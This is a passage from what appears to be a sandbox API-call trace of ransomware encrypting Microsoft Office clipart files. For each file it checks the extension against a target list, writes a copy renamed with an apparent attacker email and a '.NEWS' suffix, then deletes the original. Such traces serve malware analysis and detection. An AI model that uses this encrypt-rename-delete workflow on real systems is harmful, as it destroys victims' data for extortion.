lpString2=".WMF") returned -1 [0086.903] lstrlenW (lpString=".bz2") returned 4 [0086.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.903] lstrlenW (lpString=".7z") returned 3 [0086.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0086.903] lstrlenW (lpString=".dbf") returned 4 [0086.903] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0086.903] lstrlenW (lpString=".1cd") returned 4 [0086.903] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0086.903] lstrlenW (lpString=".jpg") returned 4 [0086.903] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0086.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0086.903] lstrlenW (lpString=".doc") returned 4 [0086.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.903] lstrlenW (lpString=".docx") returned 5 [0086.903] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.903] lstrlenW (lpString=".pdf") returned 4 [0086.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.903] lstrlenW (lpString=".xls") returned 4 [0086.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.903] lstrlenW (lpString=".xlsx") returned 5 [0086.903] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.903] lstrlenW (lpString=".ppt") returned 4 [0086.903] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0086.903] lstrlenW (lpString=".zip") returned 4 [0086.903] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.903] lstrlenW (lpString=".rar") returned 4 [0086.903] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.903] lstrlenW (lpString=".bz2") returned 4 [0086.903] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.903] lstrlenW (lpString=".7z") returned 3 [0086.903] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0086.904] lstrlenW (lpString=".dbf") returned 4 [0086.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0086.904] lstrlenW (lpString=".1cd") returned 4 [0086.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02071_.WMF") returned 68 [0086.904] lstrlenW (lpString=".jpg") returned 4 [0086.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.904] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.904] lstrlenW (lpString="FD02075_.WMF") returned 12 [0086.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.904] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=4396) returned 1 [0086.904] CloseHandle (hObject=0x378) returned 1 [0086.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x220 [0086.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.905] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.905] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0086.905] GetLastError () returned 0x0 [0086.905] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x112c, lpOverlapped=0x0) returned 1 [0086.906] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1130, lpOverlapped=0x0) returned 1 [0086.907] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.907] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.907] SetEndOfFile (hFile=0x38c) returned 1 [0086.908] CloseHandle (hObject=0x38c) returned 1 [0086.908] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.908] SetEndOfFile (hFile=0x378) returned 1 [0086.909] CloseHandle (hObject=0x378) returned 1 [0086.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02075_.wmf")) returned 1 [0086.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0086.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0086.909] lstrlenW (lpString=".doc") returned 4 [0086.909] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.909] lstrlenW (lpString=".docx") returned 5 [0086.909] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.909] lstrlenW (lpString=".pdf") returned 4 [0086.909] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.909] lstrlenW (lpString=".xls") returned 4 [0086.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.909] lstrlenW (lpString=".xlsx") returned 5 [0086.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.909] lstrlenW (lpString=".ppt") returned 4 [0086.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0086.909] lstrlenW (lpString=".zip") returned 4 [0086.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.909] lstrlenW (lpString=".rar") returned 4 [0086.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.910] lstrlenW (lpString=".bz2") returned 4 [0086.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.910] lstrlenW (lpString=".7z") returned 3 [0086.910] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0086.910] lstrlenW (lpString=".dbf") returned 4 [0086.910] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0086.910] lstrlenW (lpString=".1cd") returned 4 [0086.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0086.910] lstrlenW (lpString=".jpg") returned 4 [0086.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0086.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0086.910] lstrlenW (lpString=".doc") returned 4 [0086.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.910] lstrlenW (lpString=".docx") returned 5 [0086.910] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.910] lstrlenW (lpString=".pdf") returned 4 [0086.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.910] lstrlenW (lpString=".xls") returned 4 [0086.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.910] lstrlenW (lpString=".xlsx") returned 5 [0086.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.910] lstrlenW (lpString=".ppt") returned 4 [0086.910] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0086.910] lstrlenW (lpString=".zip") returned 4 [0086.910] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.910] lstrlenW (lpString=".rar") returned 4 [0086.910] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.910] lstrlenW (lpString=".bz2") returned 4 [0086.910] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.910] lstrlenW (lpString=".7z") returned 3 [0086.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0086.911] lstrlenW (lpString=".dbf") returned 4 [0086.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0086.911] lstrlenW (lpString=".1cd") returned 4 [0086.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0086.911] lstrlenW (lpString=".jpg") returned 4 [0086.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.911] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.911] lstrlenW (lpString="FD02088_.WMF") returned 12 [0086.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.912] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3696) returned 1 [0086.912] CloseHandle (hObject=0x378) returned 1 [0086.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x220 [0086.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.912] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.912] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0086.913] GetLastError () returned 0x0 [0086.913] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xe70, lpOverlapped=0x0) returned 1 [0087.411] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xe80, lpOverlapped=0x0) returned 1 [0087.703] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.703] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0087.703] SetEndOfFile (hFile=0x38c) returned 1 [0088.005] CloseHandle (hObject=0x38c) returned 1 [0088.005] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.005] SetEndOfFile (hFile=0x378) returned 1 [0088.006] CloseHandle (hObject=0x378) returned 1 [0088.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0088.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 1 [0088.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0088.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0088.007] lstrlenW (lpString=".doc") returned 4 [0088.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.007] lstrlenW (lpString=".docx") returned 5 [0088.007] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.007] lstrlenW (lpString=".pdf") returned 4 [0088.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.007] lstrlenW (lpString=".xls") returned 4 [0088.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.007] lstrlenW (lpString=".xlsx") returned 5 [0088.007] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.007] lstrlenW (lpString=".ppt") returned 4 [0088.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0088.007] lstrlenW (lpString=".zip") returned 4 [0088.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.007] lstrlenW (lpString=".rar") returned 4 [0088.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.007] lstrlenW (lpString=".bz2") returned 4 [0088.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.007] lstrlenW (lpString=".7z") returned 3 [0088.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0088.007] lstrlenW (lpString=".dbf") returned 4 [0088.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0088.007] lstrlenW (lpString=".1cd") returned 4 [0088.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0088.007] lstrlenW (lpString=".jpg") returned 4 [0088.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0088.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0088.007] lstrlenW (lpString=".doc") returned 4 [0088.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.008] lstrlenW (lpString=".docx") returned 5 [0088.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.008] lstrlenW (lpString=".pdf") returned 4 [0088.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.008] lstrlenW (lpString=".xls") returned 4 [0088.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.008] lstrlenW (lpString=".xlsx") returned 5 [0088.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.008] lstrlenW (lpString=".ppt") returned 4 [0088.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0088.008] lstrlenW (lpString=".zip") returned 4 [0088.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.008] lstrlenW (lpString=".rar") returned 4 [0088.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.008] lstrlenW (lpString=".bz2") returned 4 [0088.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.008] lstrlenW (lpString=".7z") returned 3 [0088.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0088.008] lstrlenW (lpString=".dbf") returned 4 [0088.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0088.008] lstrlenW (lpString=".1cd") returned 4 [0088.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68 [0088.008] lstrlenW (lpString=".jpg") returned 4 [0088.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.008] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0088.008] lstrlenW (lpString="HH00625_.WMF") returned 12 [0088.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0088.009] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2116) returned 1 [0088.009] CloseHandle (hObject=0x378) returned 1 [0088.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x220 [0088.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0088.009] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.009] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0088.010] GetLastError () returned 0x0 [0088.010] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x844, lpOverlapped=0x0) returned 1 [0088.011] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x850, lpOverlapped=0x0) returned 1 [0088.012] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.012] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0088.012] SetEndOfFile (hFile=0x38c) returned 1 [0088.012] CloseHandle (hObject=0x38c) returned 1 [0088.012] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.012] SetEndOfFile (hFile=0x378) returned 1 [0088.013] CloseHandle (hObject=0x378) returned 1 [0088.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0088.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0088.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0088.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0088.014] lstrlenW (lpString=".doc") returned 4 [0088.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.014] lstrlenW (lpString=".docx") returned 5 [0088.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.014] lstrlenW (lpString=".pdf") returned 4 [0088.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.014] lstrlenW (lpString=".xls") returned 4 [0088.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.014] lstrlenW (lpString=".xlsx") returned 5 [0088.014] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.014] lstrlenW (lpString=".ppt") returned 4 [0088.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0088.014] lstrlenW (lpString=".zip") returned 4 [0088.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.014] lstrlenW (lpString=".rar") returned 4 [0088.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.014] lstrlenW (lpString=".bz2") returned 4 [0088.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.014] lstrlenW (lpString=".7z") returned 3 [0088.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0088.014] lstrlenW 